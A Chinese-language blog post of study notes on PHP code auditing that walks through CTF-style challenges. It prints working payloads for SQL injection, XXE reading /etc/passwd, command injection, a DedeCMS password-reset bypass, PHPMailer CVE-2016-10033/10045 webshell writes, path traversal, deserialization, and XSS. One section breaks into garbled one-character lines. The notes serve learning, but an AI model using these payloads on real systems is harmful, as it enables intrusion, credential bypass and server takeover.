该来的始终还是要来的 ,该审计的始终还是要审计的
in_array漏洞
未加第三个参数的强转漏洞
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
经过分析
这里存在in_array漏洞,如果in_array第三个参数没有设置为true,就默认是false,即代表可以进行强转,将7shell.php转为7.php
当然一个文件名不会影响什么,但如果和sql注入结合,就不一样了
官方给了一道题,关键部分如下:
<?php
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode( "|",$pattern);
foreach($back_list as $hack){
if(preg_match( "/$hack/i", $value))
die( "$hack detected!");
}
return $value;
}
?>
这里没有过滤报错注入需要用到的函数,因此这里可以使用updatexml和extractvalue函数,注意,由于这儿过滤了concat,所以替换成make_set
官方文档解释如下:
?id=3 and (select extractvalue(2,make_set(3,0x7e,(select * from flag))))--+
或者
?id=3 and (select updatexml(2,make_set(3,0x7e,(select * from flag)),3))--+
注意:由于过滤了or,所以查询所有表的时候不能使用information_schema,但是可以使用mysql5.7以上的sys.schema_auto_increment_columns
filter_var
url检验漏洞
// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
这个很典型了,filter_var对url存在的典型漏洞
可以通过:
javascript://comment%250aalert(1)
首先这条语句满足url的要求,//是单行注释,%25是%的url编码(直接在url上面%会变成%25),%0a是换行符,这样alert(1)就在下一行,没有被注释;
不过,这种跨站脚本攻击本身危害不大。
但是,跟命令执行放在一起,危害就大了。
同是这道对应的ctf题:
<?php
$url=$_GET['url'];
if(isset($url) && filter_var($url,FILTER_VALIDATE_URL))
{
$site_info=parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host']))
{
exec('curl"'.$site_info['host'].'"'.$result);
echo "<center><h1>you have curl {$site_info['host']}successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode('',$result);
}
else
{
die("<center><h1>error:host is not allowed</h1></center>");
}
}
else
{
echo "<center><h1>just url like http://hbijkl.bk.com</h1></center>";
}
?>
首先就要经过 filter_var检验,在这里有多种绕过方式,不止这一种,以下都能绕过
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com%23sec-redclub.com
难的是第二个preg_match('/sec-redclub.com$/',$site_info['host'])
,绕过这个匹配;
在这里,截取以上绕过语句的
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
构造payload:
demo://demo.com:80";ls;"sec-redclub.com:80
class_exists()
php内置函数使用漏洞
实现任意文件读取;
因为class_exists()的check自动调用了__autoload(),因此可以调用php内置类
所以payload:
?c=GlobIterator&d[t]=./*.php
看看与这个函数相关的ctf题:
?name=GlobIterator¶m=./*.php¶m2=0
SimpleXMLElement和simplexml_load_string用于执行xml语句,可利用xml脚本来读取文件内容(xxe),这里要用base64的格式读取,因为文件中若存在 < > & ’ " 符号,会导致xml读取错误。
利用方式如下:
?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">]><x>%26xxe;</x>¶m2=2
因此class_exists参数可控,则可以任意文件读取。
strpos返回0和false漏洞
乍一看感觉是个xxe
将用户名和账号的输入进行xml处理
但是要求用户名和账号中不能出现<>这样的字符;
这里出现问题的函数是strpos
strpos是找到字符串第一次出现的位置,没找到返回false,若在开头就找到则返回0;
而这里的if判断条件是:
<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>
所以可以构造
<?xml version="1.0">
<user v=""/><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>< ""/>
<pass v=""/><description>&xxe;</description><""/>
所以payload如下
user:<>"/><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>< "
pass:<>"/><description>&xxe;</description><"
这里使用官方找的类似bug
dedecms的找回密码功能,关键代码如下:
......
resetpassword.php
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);//返回一堆数组
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)//如果用户没有设置安全问题和密码,就是'0'='0.0'&&null='';为啥不能直接‘0’=‘0’???
{//所以这才是重点,使得url=url?dopost=safequestion&safequestion=0.0&safeanswer=&id=myid
sn($mid, $row['userid'], $row['email'], 'N');//回答问题正确就进行sn
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}
}
......
漏洞出现在if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
这一句
如果用户并没有设置安全问题,自然也没有答案,因此,
r
o
w
[
′
s
a
f
e
q
u
e
s
t
i
o
n
′
]
=
0
r
o
w
[
′
s
a
f
e
a
n
s
w
e
r
′
]
=
n
u
l
l
对
于
s
a
f
e
q
u
e
s
t
i
o
n
来
说
,
‘
0
=
=
s
a
f
e
q
u
e
s
t
i
o
n
‘
,
这
里
可
以
用
0
=
0.0
,
0
=
0.
,
0
=
0
e
1
来
进
行
绕
过
(
经
过
v
a
r
d
u
m
p
输
出
,
发
现
row['safequestion']=0 row['safeanswer']=null 对于safequestion 来说,`0==safequestion` ,这里可以用0=0.0,0=0.,0=0e1来进行绕过 (经过var_dump输出,发现
row[′safequestion′]=0row[′safeanswer′]=null对于safequestion来说,‘0==safequestion‘,这里可以用0=0.0,0=0.,0=0e1来进行绕过(经过vardump输出,发现row[‘safequestion’] 是字符串型,为“0”,而
s
a
f
e
q
u
e
s
t
i
o
n
虽
然
也
为
字
符
型
,
但
是
使
用
v
a
r
d
u
m
p
输
出
s
a
f
e
q
u
e
s
t
i
o
n
=
0
的
时
候
是
以
下
图
片
显
示
的
为
空
,
输
出
0.0
是
就
是
0.0
;
回
去
看
了
看
,
原
来
是
这
‘
i
f
(
e
m
p
t
y
(
safequestion虽然也为字符型,但是使用var_dump输出safequestion=0的时候是以下图片显示的为空,输出0.0是就是0.0;回去看了看,原来是这` if(empty(
safequestion虽然也为字符型,但是使用vardump输出safequestion=0的时候是以下图片显示的为空,输出0.0是就是0.0;回去看了看,原来是这‘if(empty(safequestion)) $safequestion = ‘’;,empty(0)=1,所以safequestion为'') ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020010520494473.png) 对于safeanswer来说
null==’’`
然后进行sn函数
sn函数在inc/inc_pwd_function.php中,关键代码如下:
.......
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";//在临时密码表里找
$row = $db->GetOne($sql);//同样获取
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);//进入newmail
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}
从刚刚的resetpassword.php传进来的row为0;所以直接进入newmail函数
newmail函数关键语句如下:
.......
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
从最开始传进来的send就为n,所以直接进入showmsg跳转到/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
这个页面
核心代码为:
.....
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;// $key = md5($randval);randval是random(8)
$sn = md5(trim($pwdtmp));//再次将keymd5加密
if($row['pwd'] == $sn)//综上,修改密码需要random(8)两次md5加密,并且setp=2(这里的setp=2是只要没有超时就自动赋值);
//即/resetpassword.php?dopost=getpasswd&id="我们的id"&key="md5(random(8))",但这个是自动填好的东西
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功,请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起,新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起,临时密码错误', '-1');
exit;
}
}
setp=2是在前端赋的值(前提是没超时),跳进dopost=getpasswd里面就基本上完成了修改密码操作;
所以payload为:
/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=$id=my_id
好啦,我去复现了;复现详细请戳
参考自
escapeshellarg和escapeshellcmd特殊字符逃逸
mail -x参数命令执行漏洞
filter_var() 中 的FILTER_VALIDATE_EMAIL,转义和空格可在双引号中
核心代码如下:
<?php
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {//filter_var可绕过
return '';
}
return escapeshellarg($email);//escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数,这里应该也可以进行命令执行
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);//-x可以直接上传shell,可以直接-fx。。
}
}
$mailer = new Mailer();
$mailer->send($_POST);
?>
分析漏洞之前,先看看mail函数的语法:
mail(to,subject,message,headers,parameters)
to:发送给谁
subject:主题
message:内容
header:可选,报头,例:From、Cc 和 Bcc
parameters:可选,参数,
额外参数如下:
-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。这里存在着命令执行漏洞
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
假设,发送邮箱代码如下:
<?php
$to="123@163.com";
$subject="muma";
$message="<?php eval($_POST['shell']);?>";
$header="CC:someone@163.com";
$parameters="-OQueueDirectory=/tmp -X /var/www/html/log.php"
mail($to,$subject,$message,$header,$parameters)
?>
这样的话,在log.php里面就会写入木马,从而达到获取shell的目的
当然对于这道题来说,不仅仅是这样,对于filter_var() 中 的FILTER_VALIDATE_EMAIL来说,所有的特殊符号必须放在双引号中
但在双引号中嵌套转义字符仍然能通过验证,如下例子:
@var_dump(filter_var('\'hhh."\'\ hhh\ hhh"@qq.com',FILTER_VALIDATE_EMAIL));#ture
@var_dump(filter_var('"hhh.hhh\ zsdz"@163.com',FILTER_VALIDATE_EMAIL));#ture
127.0.0.1' -v -d a=1
经过escapeshellarg转义单引号
'127.0.0.1'\'' -v -d a=1'
经过escapeshellcmd处理\和转义a=1'的单引号
'127.0.0.1'\\'' -v -d a=1\'
此时\\已经被解释成\,最后放到命令curl中,得到:
curl 127.0.0.1\ -v -d a=1'
感觉还是有点晕,进行一下实例分析:
CVE-2016-10033
就是在调用mail函数的时候,$parameters参数可控且没有进行过滤,只单纯判空了一下,因此,可以使用-X写入shell
-OQueueDirectory=/tmp -X/var/www/html/x.php
经过代码审计发现parameters参数是通过this->Sender传来的,而this->Sender是通过setFrom 函数将 $address 经过一些过滤处理赋值的
对于address的处理有很复杂的正则表达式,如下:
preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
不过还是有大佬发现,在@前使用括号可以引入空格(引入空格是因为在执行命令时需要)
使用payload为:
abc( -OQueueDirectory=/tmp -X/var/www/html/x.php )@123.com
"<?php phpinfo();?>". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @swehack.org
CVE-2016-10045
这是在以上的基础上增加了escapeshellcmd 函数进行加强
但是由于mail函数底层调用了escapeshellarg 函数,因此两个函数放在一起出现了单引号逃逸漏洞
而payload也变成了
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
先经过escapeshellarg 转义
''a'\''( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com''
再经过escapeshellcmd 转义
''a'\\''\( -OQueueDirectory=/tmp -X/var/www/html/x.php \)@a.com\''
最后命令变成
'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\'
即被分成四部分
-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com'
感觉还是有点懵,emm,再来一道ctf题,鉴于ctf我不太好理解,所以放在了
正则表达式运用不当,可实现路径穿越
<?php
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');//写入文件
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);//将token中的除了a-z或者.到_的其它字符换成空,preg_replace有漏洞,这儿存在着00截断或者%0a换行或者直接注释。
unlink('/tmp/tokens/' . $file);//删除文件
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);//参数可控,貌似可以任意删除,action=delete,data=
?>
正则表达式运用不当,可以通过传入…/进行路径穿越,可以实现任意文件删除
payload如下
?action = delete&data = ../../ config.php
[^a-z.-_]
表示匹配除了 a 字符到 z 字符、. 字符到 _ 字符之间的所有字符
同样一道ctf题:
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];//以post方式提交password
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))//匹配打印字符42.000000000
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';//[:punct:]匹配: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~. [[:digit:]]匹配数字
if (6 > preg_match_all($reg, $password, $arr))//这里是将字符,数字,大写,小写分段,至少要有六段--》42.0a-000000
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))//又继续匹配
$c += 1;
}
if ($c < 3) break;//至少含有上面四种类型的三种类型,现在已经有[[:punct:]] (.),[[:digit:]](数字),大写小写。。42.0a-000000,但是这个过不了等于42,采用科学计数法:42.00000e+00
if ("42" == $password) echo $flag;//password要等于"42",
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
重点在于三次正则表达式,
第一次:
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
^表示以什么开头,$表示以什么结尾,[[:graph:]]表示可打印字符集
所以这里需要写一个长度为12的可打印字符集
第二次:
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
[[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]分别表示集合{ !"#$%&'()*+,-./:;<=>?@[\]^_
{|}~.}`,数字,大写,小写
(6 > preg_match_all($reg, $password, $arr)表示将password分为至少六段,每一段连续的集合,数字,大写,小写,都为一段;
例如:payload:42.00000e+00
分为:42 . 00000 e + 00一共六段,每一段都匹配连续的同一集合
第三次:
if (preg_match("/[[:$pt:]]+/", $password))//又继续匹配
$c += 1;
...
if ($c < 3) break;
这里的意思是四种集合中至少匹配三种,当然最后还有一个弱比较等于42,可以用科学计数法(科学技术法:1.3e09 --> 1.3x10的9次方)
所以有了payload
password=42.00000e+00
parse_str函数使用错误
<?php
function getUser($id) {
global $config, $db;//大概是连接数据库时候用到的,不过全局变量貌似可控
if (!is_resource($db)) {//检测变量是否为资源类型
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";//这里如果参数可控可能存在sql注入
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);//解析referer
parse_str($var['query']);//将url后面提交的变量进行解析,例如:parse_str(username=123) --> $username=123,相当于再创建了个变量,那这里可能会存在变量覆盖
$currentUser = getUser($id);//通过id查询到name
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';//输出name
?>
果不其然的变量覆盖,若传入
?config['dbhost']=127.0.0.1&config['dbuser']=xxx&....&id=xxx
,这样的话,我们可以直接让服务器连接自己的数据库,若有登录验证也可绕过
漏洞出现在parse_str函数,此函数的作用:
把查询字符串解析到变量中,例如:
parse_str("name=xxx&age=10");
---->
$name=xxx,$age=10
值得注意的是,此函数并不会验证之前是否存在变量,直接覆盖
实例比较复杂,我单独拿到
先看看ctf题:
<?php
$a = "hongri";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
用到parse_str函数的是变量id,将接收的变量id的内容做为内容执行,payload?id=a[0]=240610708
当然仅仅还不行
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
这里存在一个时间竞争问题,关键代码为:
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
在一段比较短的时间内,不仅需要写入,还需要访问,才可能得到flag。
通过审计代码得知,sha1($_SERVER[‘REMOTE_ADDR’])为后台路径(REMOTE_ADDR与x-forwarded-for相似,不过两者有区别),所以:uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/
直接访问明显超过时间,得到的是too slow;
所以这里可以进行脚本和burpsuite的联合,进行时间竞争
python脚本如下:
import requests
import re
url='http://127.0.0.1/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/2.php'
for i in range(0,200):
session=requests.session()
content=session.get(url).content
print content
正则表达式/e执行命令的问题
<?php
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {//传入a A
return preg_replace(
'/(' . $regex . ')/ei',//这个/e貌似有问题
'strtolower("\\1")',//反向引用
$value
); //preg_replace(/(a)/ei,strtolower("\\1),A);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
?>
反向引用(这个没有运行出来,也不知道为啥)
\1:表示的是引用第一次匹配到的()括起来的部分
\2:表示的是引用第二次匹配到的()括起来的部分
例如:(\d)\1,可以匹配22,却不能匹配2,当然23也不能匹配,原因就是第一次匹配到的()括起来的部分是2,\1引用这个2,再次匹配一次,得到22
官方给的payload我也没法运行出结果…
题目要求将以get方式提交的键作为正则第一个参数,值作为正则表达式第三个参数
而第二个参数固定,是strtolower("\1"),应该是将匹配第一次匹配到的()括起来的部分转为小写;
可以匹配任意字符使用.*
但是由于php本身,直接使用get方式传参,接收时会变成_,起不到匹配任意字符的作用
因此,可以换成,\S,匹配任何非空白字符(当然也可以写[^ \f\n\r\t\v]
)
之后,对于为什么不能直接写phpinfo,官方解释如下:
这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。
${phpinfo()} 中的 phpinfo() 会被当做变量先执行
执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
这里的${$a}
与之前的可变变量$$a
是一样的
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
实例还是放在放在这儿
ctf题:
<?php
class LanguageManager {
public function loadLanguage() {
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");//$sanitizedLang这个貌似能人为控制
}
private function getBrowserLanguage() {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';//$a ?? 0 等同于 isset($a) ? $a : 0。所以这里应该是判断有没有设置accept-language
return $lang;//返回server,传到下一个函数去
}
private function sanitizeLanguage($language) {
return str_replace('../', '', $language);//这儿只过滤了../,但我还能写....//啊。。。
}
}
(new LanguageManager())->loadLanguage();
?>
这里说一下php7引入的??和?:
$a ?? 0 等同于 isset($a) ? $a : 0
$a ?: 0 等同于 $a ? $a : 0
然后初步判断应该是HTTP_ACCEPT_LANGUAGE可控,然后过滤不全
经过测试:
..././flag.php
....//flag.php
确实,可以得到flag,过滤了…/可以使用…//或者…/./
实例分析仍然放到
ctf题:
<?php
extract($_POST);//这个函数是将数组的键作为变量名,值作为内容,赋值
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}
if (!isset($pi) || !is_numeric($pi)) {//设置的waf,传入的参数不能是没有设置的,也不能不是数字
goAway();
}
if (!assert("(int)$pi == 3")) {//assert貌似类似if,表示传入的值强转为int后需要等于3,这里应该可以用3a绕过,这个pi可以通过前面的post传入,但是。。。这里没有可执行的东西啊。。
echo "This is not pi.";
} else {
echo "This might be pi.";
}
?>
原来是一个逻辑漏洞,在进行waf之后没有退出,导致代码继续执行;
在判断pi变量为数字或者没有设置的时候,执行了goaway()函数,重定向到了error页面,完了之后继续往下执行,到asset判断
所以可以直接POST传递:pi=phpinfo()
实例仍然在
ctf:
<?php
class Template {
public $cacheFile = '/tmp/cachefile';//这种公有变量很容易被修改
public $template = '<div>Welcome back %s</div>';
public function __construct($data = null) {//将data传递进来
$data = $this->loadData($data);//将具有一定格式的data数据进行反序列化
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {//这里规定了data传递的格式:O:1
return unserialize($data);//反序列化问题挺多的
}
return [];
}
public function createCache($file = null, $tpl = null) {//构造函数过来的,但是调用函数的时候并没有进行传参
$file = $file ?? $this->cacheFile;//file没有设置就设为初始化的cacheFile
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);//写入文件,这个很好被修改,因为两个变量都是公有,但是如何传参,嗯。。。
}
public function render($data) {
echo sprintf(//这个sprintf函数是类似与c中的print,可以将%转化为参数输出
$this->template,
htmlspecialchars($data['name'])//将data数据进行html实体化
);
}
public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);//由cookie传数据,仍然可控
?>
初步判断应该是一个php反序列化的问题,可惜,反序列化,我不会…啊哈哈
但是我们的目的是修改cacheFile和template,使得写入一句话木马,肯定是要用data来进行修改的。
反序列化的漏洞随便搜索一下就能知道,重点是如何绕过正则表达式:
。。。这个玩意,啊哈哈,先放payload:
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}
这玩意等我过一遍所有之后再来
<?php
$sanitized = [];
foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);//将以get方式传入的数组写入sanitized
}
$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));//array_map遍历每一个值,执行函数,array_keys取sanitized的键,array_values取sanitized的值
$query = implode('&', $queryParts);//将queryParts与&作为字符串连接起来
echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";//执行html语言,这里query可控
?>
初步判断是xss
存在漏洞的函数是htmlentities,此函数原本是将html特殊字符转换成实体字符,如果不写额外参数的话,单引号和双引号是不能转换的,因此出现了漏洞。
参数放在下面:
ENT_COMPAT(默认值):只转换双引号。
ENT_QUOTES:两种引号都转换。
ENT_NOQUOTES:两种引号都不转换。
所以很好构造payload:
' onclick=alert(/xss/)
<?php
class LoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$user = $this->sanitizeInput($this->user);//这里调用函数过滤了些东西
$pass = $this->sanitizeInput($this->password);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();//一个过滤了双引号的sql注入,如果不能用宽字符注入,那就哦豁?
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);//这里是在双引号前加/
if (strlen($input) > $length) {
$input = substr($input, 0, $length);//控制了字符长度,只能20个字符
}
return $input;
}
}
$auth = new LoginManager($_POST['user'], $_POST['passwd']);//可控
if (!$auth->isValid()) {
exit;
}
?>
初步判断是个过滤双引号的sql注入,如果不能用宽字符注入,貌似就没辙…
万万没想到,单独用addslashes确实是不行,但是加上substr就不一样了
因为规定长度为20,超过20就截取前20,而我们都知道\可以转义特殊字符,所以如果在让本来用于过滤特殊符号的\和输入的特殊符号分开,就能起到转义的作用,恰好,可以写payload:
?input=1234567890123456789'
经测试,得到:1234567890123456789\
放到数据库语句里就变成了:
select count(p) from user where user=''1234567890123456789\' AND password = '$pass''
